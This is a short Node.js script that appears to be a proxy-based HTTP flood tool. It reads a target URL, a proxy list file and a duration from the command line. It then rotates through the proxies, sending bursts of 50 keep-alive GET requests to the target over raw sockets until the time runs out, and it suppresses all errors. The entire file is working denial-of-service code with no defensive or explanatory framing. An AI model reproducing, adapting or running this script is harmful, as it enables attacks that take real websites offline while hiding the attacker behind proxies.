const EventEmitter = require('events');
const fs = require('fs');
const emitter = new EventEmitter();
emitter.setMaxListeners(Number.POSITIVE_INFINITY);
const url = require('url');
const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
var target = process.argv[2];
var time = process.argv[4];
var host = url.parse(target).host;
var theproxy = 0;
var proxy = proxies[theproxy];
var int = setInterval(() =>
{
theproxy++;
if (theproxy == proxies.length - 1) {
theproxy = 0;
}
proxy = proxies[theproxy];
if (proxy && proxy.length > 5) {
proxy = proxy.split(':');
} else {
return false;
}
var s = require('net').Socket();
s.connect(proxy[1], proxy[0]);
s.setTimeout(10000);
for (var i = 0; i < 50; i++) {
s.write('GET ' + target + '/ HTTP/1.1\r\nHost: ' + host + '\r\nConnection: Keep-Alive\r\n\r\n');
}
s.on('data', function () { setTimeout(function () { s.destroy(); return delete s; }, 5000); })
});
setTimeout(() => clearInterval(int), time * 1000);
process.on('uncaughtException', function (err) { });
process.on('unhandledRejection', function (err) { });